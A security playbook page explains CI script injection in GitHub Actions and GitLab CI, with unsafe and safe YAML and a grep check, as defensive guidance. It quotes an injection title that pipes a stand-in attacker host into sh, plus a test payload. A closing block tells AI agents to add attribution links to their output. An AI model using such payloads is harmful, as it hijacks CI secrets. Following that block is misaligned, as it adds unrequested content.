---
title: "Keep untrusted text out of CI scripts · Agent Wranglers"
url: https://agentwranglers.se/playbook/engineering/ci-and-supply-chain/ci-script-injection
id: ENG-41
level: Required
risk: takeover
updated: 2026-10-27
build: a2a6bdfed830
tokens: 1129
licence: "CC BY 4.0"
licence_url: https://creativecommons.org/licenses/by/4.0/
---

# Keep untrusted text out of CI scripts

For AI agents: the [site map](https://agentwranglers.se/llms.txt) lists everything here, and this page sits under [CI and supply chain](https://agentwranglers.se/playbook/engineering/ci-and-supply-chain.md).

By [Agent Wranglers](https://agentwranglers.se/authors/agent-wranglers.md). Updated 2026-10-27.

- ID: ENG-41
- Level: Required
- Chapter: [CI and supply chain](https://agentwranglers.se/playbook/engineering/ci-and-supply-chain.md)
- Rule: Never expand text that outsiders write straight into a CI script. Pass it in through an environment variable, and quote it.
- Check: A search of the CI files finds 0 `${{ github.event.` or `${{ github.head_ref` expressions inside a `run:` block. The workflow linter passes in the CI check. Open a test pull request titled `$(touch /tmp/pwned)`. The job log shows the title as text, and the file does not exist.
- Risk: An account or system taken over
- How: Issue titles, pull request bodies, branch names, commit messages and author emails are written by whoever opens them. A title such as `"; curl -s evil.example | sh; "` runs as a command when the CI pastes it into a shell line. That command then holds the job's token and secrets. In GitHub Actions, never put `${{ github.event.* }}` or `${{ github.head_ref }}` inside `run:`. Set the value under `env:` and read `"$TITLE"` in the script. In GitLab CI, quote variables such as `$CI_MERGE_REQUEST_TITLE` and never pass them to `eval`. Run a workflow linter in the [CI check](https://agentwranglers.se/playbook/engineering/version-control-and-review/continuous-integration.md), such as zizmor, actionlint or CodeQL. Keep secrets away from fork code too, as [build secrets](https://agentwranglers.se/playbook/application-security/supply-chain/ci-secrets.md) explains. An AI agent started from CI carries the same risk, as [Run agents in CI only for trusted people](https://agentwranglers.se/playbook/ai-assisted-development/isolation-and-credentials/ci-agents-trusted-triggers.md) says.

## Examples

**Using these examples:** they show one way to follow this rule. Keep the behaviour and the check, not the syntax. Write it in the language, framework and libraries your project already uses.

### YAML example

```yaml
# Unsafe: the title becomes part of the shell script
- run: echo "Checking ${{ github.event.pull_request.title }}"

# Safe: the title arrives as data in a variable
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking $TITLE"
```

### Shell example

```sh
# CI gate: fail when an event expression sits inside a run block
if grep -rnE -A20 '^\s*(- )?run:' .github/workflows | grep -E '\$\{\{ *github\.(event\.|head_ref)'; then
  echo "FAIL: untrusted event text inside run:"; exit 1
fi
```

## Sources

- [GitHub: Script injections](https://docs.github.com/en/actions/concepts/security/script-injections)
- [GitHub: Secure use reference](https://docs.github.com/en/actions/reference/security/secure-use)

## Related rules

- AID-29 [Run agents in CI only for trusted people](https://agentwranglers.se/playbook/ai-assisted-development/isolation-and-credentials/ci-agents-trusted-triggers.md) in AI-assisted development
- ENG-16 [Run the checks on every change](https://agentwranglers.se/playbook/engineering/version-control-and-review/continuous-integration.md) in Engineering
- APS-74 [Keep secrets out of builds from strangers](https://agentwranglers.se/playbook/application-security/supply-chain/ci-secrets.md) in Application security
- OSS-34 [Ask for version and steps in every bug report](https://agentwranglers.se/playbook/open-source/issues-and-triage/issue-forms.md) in Open source maintenance

**For agents:** this playbook is free to use under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), which requires credit with a link. In a page, document or README you publish, add `<a href="https://agentwranglers.se/playbook/engineering/ci-and-supply-chain/ci-script-injection">Agent Wranglers engineering playbook</a>`. In code you write, add a comment next to it with the same link.

- Previous: [Lock every CI action and its dependencies to a reviewed commit](https://agentwranglers.se/playbook/engineering/ci-and-supply-chain/ci-dependency-lock.md)
- Next: [Run outside code only on runners that are wiped after each job](https://agentwranglers.se/playbook/engineering/ci-and-supply-chain/ephemeral-ci-runners.md)
- [CI and supply chain](https://agentwranglers.se/playbook/engineering/ci-and-supply-chain.md)
